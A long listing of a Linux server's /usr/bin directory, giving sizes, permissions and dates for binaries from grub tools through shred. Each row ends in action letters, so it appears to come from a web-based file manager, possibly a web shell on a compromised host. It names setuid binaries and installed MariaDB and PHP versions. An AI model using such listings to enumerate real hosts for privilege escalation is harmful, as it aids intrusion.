grub-mkpasswd-pbkdf2 249.305 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-mkrelpath 240.648 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-mkrescue 991.789 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-mkstandalone 483.242 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-mount 758.008 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-render-label 825.93 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-script-check 268.773 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-syslinux2cfg 774.445 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
gtbl 142.352 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
gtk-builder-tool 34.578 KB -rwxr-xr-x 2024-07-19 13:30 R E G D
gtk-encode-symbolic-svg 18.258 KB -rwxr-xr-x 2024-07-19 13:30 R E G D
gtk-launch 18.305 KB -rwxr-xr-x 2024-07-19 13:30 R E G D
gtk-query-settings 14.148 KB -rwxr-xr-x 2024-07-19 13:30 R E G D
gtk-update-icon-cache 38.469 KB -rwxr-xr-x 2024-07-19 13:30 R E G D
gunzip 2.291 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
gzexe 6.296 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
gzip 95.75 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
h2ph 28.539 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
h2xs 59.503 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
hd 54.242 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
head 46.875 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
helpztags 2.455 KB -rwxr-xr-x 2025-02-07 08:22 R E G D
hexdump 54.242 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
host 102.625 KB -rwxr-xr-x 2025-10-30 09:48 R E G D
hostid 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
hostname 22.07 KB -rwxr-xr-x 2019-11-07 11:31 R E G D
hostnamectl 26.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
htcacheclean 34.164 KB -rwxr-xr-x 2025-07-29 20:18 R E G D
htdbm 26.156 KB -rwxr-xr-x 2025-07-29 20:18 R E G D
htdigest 14.156 KB -rwxr-xr-x 2025-07-29 20:18 R E G D
htpasswd 26.156 KB -rwxr-xr-x 2025-07-29 20:18 R E G D
i386 26.5 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
iconv 59.008 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
id 46.938 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
infocmp 62.227 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
infotocap 90.266 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
innochecksum 3.5 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
innotop 445.378 KB -rwxr-xr-x 2025-05-30 04:33 R E G D
install 155.789 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
install-info 111.758 KB -rwxr-xr-x 2021-01-08 21:54 R E G D
instmodsh 4.268 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
ionice 30.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
ip 617.805 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
ipcmk 30.297 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
ipcrm 34.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
ipcs 70.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
iptables-xml 96.813 KB -rwxr-xr-x 2021-01-17 18:05 R E G D
ischroot 14.266 KB -rwxr-xr-x 2020-09-27 17:25 R E G D
isodump 179.914 KB -rwxr-xr-x 2021-02-04 21:36 R E G D
isoinfo 339.156 KB -rwxr-xr-x 2021-02-04 21:36 R E G D
isovfy 175.883 KB -rwxr-xr-x 2021-02-04 21:36 R E G D
join 54.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
journalctl 74.234 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
json-patch-jsondiff 0.98 KB -rwxr-xr-x 2020-05-11 08:59 R E G D
json_pp 4.872 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
jsondiff 0.98 KB -rwxr-xr-x 2020-05-11 08:59 R E G D
jsonpatch 3.576 KB -rwxr-xr-x 2020-05-11 08:59 R E G D
jsonpointer 1.795 KB -rwxr-xr-x 2020-05-08 09:01 R E G D
jsonschema 0.388 KB -rwxr-xr-x 2020-05-08 09:04 R E G D
kbxutil 158.695 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
kernel-install 4.838 KB -rwxr-xr-x 2021-02-02 15:29 R E G D
kill 30.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
killall 31.867 KB -rwxr-xr-x 2021-02-08 10:19 R E G D
kmod 166.18 KB -rwxr-xr-x 2021-01-08 01:37 R E G D
last 46.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
lastb 46.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
lastlog 31.5 KB -rwxr-xr-x 2025-04-18 13:46 R E G D
lcf 7.602 KB -rwxr-xr-x 2025-01-16 16:53 R E G D
ldd 5.275 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
less 179.695 KB -rwxr-xr-x 2024-05-02 18:29 R E G D
lessecho 14.164 KB -rwxr-xr-x 2024-05-02 18:29 R E G D
lessfile 8.343 KB -rwxr-xr-x 2024-05-02 18:29 R E G D
lesskey 23.57 KB -rwxr-xr-x 2024-05-02 18:29 R E G D
lesspipe 8.343 KB -rwxr-xr-x 2024-05-02 18:29 R E G D
letsencrypt 0.938 KB -rwxr-xr-x 2021-02-13 18:56 R E G D
lexgrog 98.969 KB -rwxr-xr-x 2021-02-19 10:14 R E G D
lft 2.435 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
lft.db 2.435 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
libnetcfg 15.405 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
link 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
linux-check-removal 4.564 KB -rwxr-xr-x 2018-09-05 17:52 R E G D
linux-update-symlinks 6.172 KB -rwxr-xr-x 2016-06-05 01:13 R E G D
linux-version 2.633 KB -rwxr-xr-x 2015-08-11 15:45 R E G D
linux32 26.5 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
linux64 26.5 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
ln 71.133 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
lnstat 22.508 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
locale 54.039 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
localectl 26.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
localedef 307.75 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
logger 50.82 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
login 55.617 KB -rwxr-xr-x 2025-04-18 13:46 R E G D
loginctl 54.328 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
logname 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
logresolve 14.164 KB -rwxr-xr-x 2025-07-29 20:18 R E G D
look 14.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
ls 143.727 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
lsattr 14.156 KB -rwxr-xr-x 2024-10-03 14:08 R E G D
lsb_release 3.553 KB -rwxr-xr-x 2019-03-09 18:30 R E G D
lsblk 146.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
lscpu 98.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
lsinitramfs 0.689 KB -rwxr-xr-x 2021-01-14 18:04 R E G D
lsipc 94.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
lslocks 38.555 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
lslogins 66.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
lsmem 66.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
lsmod 166.18 KB -rwxr-xr-x 2021-01-08 01:37 R E G D
lsns 50.234 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
lsof 167.469 KB -rwxr-xr-x 2020-11-19 12:35 R E G D
lspci 91.945 KB -rwxr-xr-x 2020-12-24 17:49 R E G D
lspgpot 1.056 KB -rwxr-xr-x 2017-08-28 10:22 R E G D
lzcat 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
lzcmp 6.858 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
lzdiff 6.858 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
lzegrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
lzfgrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
lzgrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
lzless 1.757 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
lzma 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
lzmainfo 14.313 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
lzmore 2.111 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
m17n-db 3.646 KB -rwxr-xr-x 2019-11-20 23:46 R E G D
mail 213.047 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
mail.mailutils 213.047 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
mailq 30.148 KB -rwxr-xr-x 2024-03-09 15:38 R E G D
mailx 213.047 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
man 112.891 KB -rwxr-xr-x 2021-02-19 10:14 R E G D
man-recode 26.922 KB -rwxr-xr-x 2021-02-19 10:14 R E G D
mandb 135.148 KB -rwxr-xr-x 2021-02-19 10:14 R E G D
manpath 34.695 KB -rwxr-xr-x 2021-02-19 10:14 R E G D
mariadb 3.98 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-access 109.3 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-admin 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-analyze 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-binlog 4 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-check 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-conv 3.51 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-convert-table-format 4.122 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-dump 3.82 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-dumpslow 8.049 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-find-rows 3.213 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-fix-extensions 1.221 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-hotcopy 34.153 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-import 3.73 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-install-db 22.349 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-optimize 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-plugin 3.46 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-repair 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-report 49.22 KB -rwxr-xr-x 2025-05-30 04:33 R E G D
mariadb-secure-installation 13.477 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-service-convert 2.447 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-setpermission 17.556 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-show 3.73 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-slap 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-tzinfo-to-sql 3.46 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-upgrade 3.56 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadb-waitpid 3.45 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadbcheck 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadbd-multi 26.674 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadbd-safe 30.395 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mariadbd-safe-helper 3.42 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mawk 154.586 KB -rwxr-xr-x 2020-02-16 19:41 R E G D
mcookie 34.297 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
md5sum 46.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
md5sum.textutils 46.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
mesg 14.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
messages 14.516 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
messages.mailutils 14.516 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
migrate-pubring-from-classic-gpg 2.988 KB -rwxr-xr-x 2022-04-27 19:31 R E G D
mimeview 59.555 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
mkdir 83.188 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
mkfifo 67.094 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
mkisofs 622.945 KB -rwxr-xr-x 2021-02-04 21:36 R E G D
mknod 75.094 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
mktemp 46.938 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
mkzftree 26.578 KB -rwxr-xr-x 2021-02-04 21:36 R E G D
mokutil 60.188 KB -rwxr-xr-x 2022-06-12 20:41 R E G D
more 58.234 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
mount 54.227 KB -rwsr-xr-x 2024-03-28 10:09 R E G D
mount-image-callback 13.808 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
mountpoint 18.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
movemail 40.102 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
movemail.mailutils 40.102 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
msql2mysql 1.412 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mt 83.32 KB -rwxr-xr-x 2023-09-30 12:18 R E G D
mt-gnu 83.32 KB -rwxr-xr-x 2023-09-30 12:18 R E G D
mv 143.633 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
my_print_defaults 3.45 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
myisam_ftdump 3.73 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
myisamchk 3.85 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
myisamlog 3.72 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
myisampack 3.76 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql 3.98 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql_convert_table_format 4.122 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql_find_rows 3.213 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql_fix_extensions 1.221 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql_install_db 22.349 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql_plugin 3.46 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql_secure_installation 13.477 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql_setpermission 17.556 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql_tzinfo_to_sql 3.46 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql_upgrade 3.56 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysql_waitpid 3.45 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqlaccess 109.3 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqladmin 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqlanalyze 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqlbinlog 4 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqlcheck 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqld_multi 26.674 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqld_safe 30.395 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqld_safe_helper 3.42 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqldump 3.82 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqldumpslow 8.049 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqlhotcopy 34.153 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqlimport 3.73 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqloptimize 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqlrepair 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqlreport 49.22 KB -rwxr-xr-x 2025-05-30 04:33 R E G D
mysqlshow 3.73 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mysqlslap 3.74 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
mytop 71.954 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
namei 34.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
nano 340.641 KB -rwxr-xr-x 2024-06-17 12:31 R E G D
nawk 678.344 KB -rwxr-xr-x 2021-02-10 08:42 R E G D
neqn 0.892 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
netstat 151.648 KB -rwxr-xr-x 2025-05-30 20:08 R E G D
networkctl 94.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
newaliases 30.148 KB -rwxr-xr-x 2024-03-09 15:38 R E G D
newgrp 43.586 KB -rwsr-xr-x 2025-04-18 13:46 R E G D
ngettext 34.227 KB -rwxr-xr-x 2021-02-02 21:35 R E G D
nice 42.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
nisdomainname 22.07 KB -rwxr-xr-x 2019-11-07 11:31 R E G D
nl 111.031 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
nohup 42.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
nproc 42.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
nroff 3.216 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
nsenter 34.453 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
nstat 78.234 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
numfmt 66.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
od 70.938 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
open 18.053 KB -rwxr-xr-x 2021-02-25 18:24 R E G D
openssl 719.523 KB -rwxr-xr-x 2025-10-03 09:54 R E G D
pager 179.695 KB -rwxr-xr-x 2024-05-02 18:29 R E G D
partx 118.234 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
passwd 62.461 KB -rwsr-xr-x 2025-04-18 13:46 R E G D
paste 42.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
pathchk 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
pdb3 61.262 KB -rwxr-xr-x 2025-03-20 02:07 R E G D
pdb3.9 61.262 KB -rwxr-xr-x 2025-03-20 02:07 R E G D
peekfd 14.445 KB -rwxr-xr-x 2021-02-08 10:19 R E G D
perf 0.516 KB -rwxr-xr-x 2018-07-20 01:35 R E G D
perl 3.51 MB -rwxr-xr-x 2024-10-20 21:53 R E G D
perl5.32-x86_64-linux-gnu 14.344 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
perl5.32.1 3.51 MB -rwxr-xr-x 2024-10-20 21:53 R E G D
perlbug 44.201 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
perldoc 0.122 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
perlivp 10.609 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
perlthanks 44.201 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
perror 3.64 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
pgrep 30.234 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
phar 14.536 KB -rwxr-xr-x 2025-07-27 11:10 R E G D
phar.default 14.536 KB -rwxr-xr-x 2025-07-27 11:10 R E G D
phar.phar 14.536 KB -rwxr-xr-x 2025-07-27 11:10 R E G D
phar.phar.default 14.536 KB -rwxr-xr-x 2025-07-27 11:10 R E G D
phar.phar7.4 14.536 KB -rwxr-xr-x 2025-07-27 11:10 R E G D
phar7.4 14.536 KB -rwxr-xr-x 2025-07-27 11:10 R E G D
phar7.4.phar 14.536 KB -rwxr-xr-x 2025-07-27 11:10 R E G D
php 4.55 MB -rwxr-xr-x 2025-07-27 11:10 R E G D
php.default 4.55 MB -rwxr-xr-x 2025-07-27 11:10 R E G D
php7.4 4.55 MB -rwxr-xr-x 2025-07-27 11:10 R E G D
pic 220.188 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
pico 340.641 KB -rwxr-xr-x 2024-06-17 12:31 R E G D
piconv 8.161 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
pidof 26.227 KB -rwxr-xr-x 2021-12-16 18:12 R E G D
pidwait 30.234 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
pinentry 62.492 KB -rwxr-xr-x 2020-05-08 17:10 R E G D
pinentry-curses 62.492 KB -rwxr-xr-x 2020-05-08 17:10 R E G D
ping 75.617 KB -rwxr-xr-x 2021-02-02 17:49 R E G D
ping4 75.617 KB -rwxr-xr-x 2021-02-02 17:49 R E G D
ping6 75.617 KB -rwxr-xr-x 2021-02-02 17:49 R E G D
pinky 42.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
pkill 30.234 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
pl2pm 4.427 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
pldd 22.57 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
pmap 34.234 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
pod2html 4.037 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
pod2man 14.682 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
pod2text 10.55 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
pod2usage 3.855 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
podchecker 3.572 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
pr 75.094 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
preconv 62.352 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
print 18.053 KB -rwxr-xr-x 2021-02-25 18:24 R E G D
printenv 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
printf 58.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
prlimit 38.742 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
procan 79.859 KB -rwxr-xr-x 2021-02-03 12:58 R E G D
prove 13.335 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
prtstat 18.508 KB -rwxr-xr-x 2021-02-08 10:19 R E G D
ps 134.453 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
pslog 14.383 KB -rwxr-xr-x 2021-02-08 10:19 R E G D
pstree 35.727 KB -rwxr-xr-x 2021-02-08 10:19 R E G D
pstree.x11 35.727 KB -rwxr-xr-x 2021-02-08 10:19 R E G D
ptar 3.466 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
ptardiff 2.566 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
ptargrep 4.289 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
ptx 135.094 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
pwd 42.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
pwdx 14.219 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
py3clean 7.623 KB -rwxr-xr-x 2021-04-05 12:00 R E G D
py3compile 12.875 KB -rwxr-xr-x 2021-04-05 12:00 R E G D
py3versions 11.442 KB -rwxr-xr-x 2021-04-05 12:00 R E G D
pydoc3 0.076 KB -rwxr-xr-x 2025-03-20 02:07 R E G D
pydoc3.9 0.076 KB -rwxr-xr-x 2025-03-20 02:07 R E G D
pygettext3 21.032 KB -rwxr-xr-x 2021-02-19 12:31 R E G D
pygettext3.9 21.032 KB -rwxr-xr-x 2021-02-19 12:31 R E G D
pyjwt3 0.363 KB -rwxr-xr-x 2019-10-27 00:17 R E G D
python3 5.23 MB -rwxr-xr-x 2025-03-20 02:07 R E G D
python3.9 5.23 MB -rwxr-xr-x 2025-03-20 02:07 R E G D
qemu-img 1.93 MB -rwxr-xr-x 2025-09-08 21:30 R E G D
qemu-io 1.87 MB -rwxr-xr-x 2025-09-08 21:30 R E G D
qemu-nbd 2.02 MB -rwxr-xr-x 2025-09-08 21:30 R E G D
querybts 10.815 KB -rwxr-xr-x 2024-06-19 11:11 R E G D
rbash 1.18 MB -rwxr-xr-x 2022-03-27 18:40 R E G D
rcp 114.141 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
rdma 130.234 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
readlink 50.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
readmsg 35.758 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
readmsg.mailutils 35.758 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
realpath 54.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
renice 14.219 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
replace 3.44 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
reportbug 110.004 KB -rwxr-xr-x 2024-06-19 11:11 R E G D
reset 30.156 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
resize-part-image 4.244 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
resizepart 62.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
resolve_stack_dump 3.45 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
resolvectl 126.367 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
resolveip 3.45 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
rev 14.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
rgrep 0.029 KB -rwxr-xr-x 2020-01-29 12:09 R E G D
rlogin 778.789 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
rm 71 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
rmail 13.992 KB -rwxr-xr-x 2024-03-09 15:38 R E G D
rmdir 50.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
rnano 340.641 KB -rwxr-xr-x 2024-06-17 12:31 R E G D
rotatelogs 26.227 KB -rwxr-xr-x 2025-07-29 20:18 R E G D
routef 0.203 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
routel 1.617 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
rrsync 7.352 KB -rwxr-xr-x 2025-01-17 21:03 R E G D
rsh 778.789 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
rsync 481.57 KB -rwxr-xr-x 2025-01-17 21:03 R E G D
rsync-ssl 4.826 KB -rwxr-xr-x 2025-01-17 21:03 R E G D
rtstat 22.508 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
run-mailcap 18.053 KB -rwxr-xr-x 2021-02-25 18:24 R E G D
run-parts 26.828 KB -rwxr-xr-x 2020-09-27 17:25 R E G D
runcon 42.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
rview 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
rvim 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
savelog 10.235 KB -rwxr-xr-x 2020-09-27 17:25 R E G D
scp 114.141 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
screen 471.008 KB -rwxr-xr-x 2021-02-27 00:52 R E G D
script 66.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
scriptlive 54.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
scriptreplay 42.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
sdiff 46.906 KB -rwxr-xr-x 2021-01-01 17:52 R E G D
sed 119.359 KB -rwxr-xr-x 2018-12-22 14:24 R E G D
see 18.053 KB -rwxr-xr-x 2021-02-25 18:24 R E G D
select-editor 2.389 KB -rwxr-xr-x 2021-01-12 22:01 R E G D
sensible-browser 1.201 KB -rwxr-xr-x 2021-01-12 22:01 R E G D
sensible-editor 1.15 KB -rwxr-xr-x 2021-01-12 22:01 R E G D
sensible-pager 0.441 KB -rwxr-xr-x 2021-01-12 22:01 R E G D
seq 54.875 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
setarch 26.5 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
setpci 30.227 KB -rwxr-xr-x 2020-12-24 17:49 R E G D
setpriv 50.234 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
setsid 14.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
setterm 46.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
sftp 170.352 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
sg 43.586 KB -rwsr-xr-x 2025-04-18 13:46 R E G D
sh 122.617 KB -rwxr-xr-x 2020-12-10 13:23 R E G D
sha1sum 50.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
sha224sum 62.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
sha256sum 62.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
sha384sum 66.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
sha512sum 66.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
shasum 9.742 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
shred 63.094 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
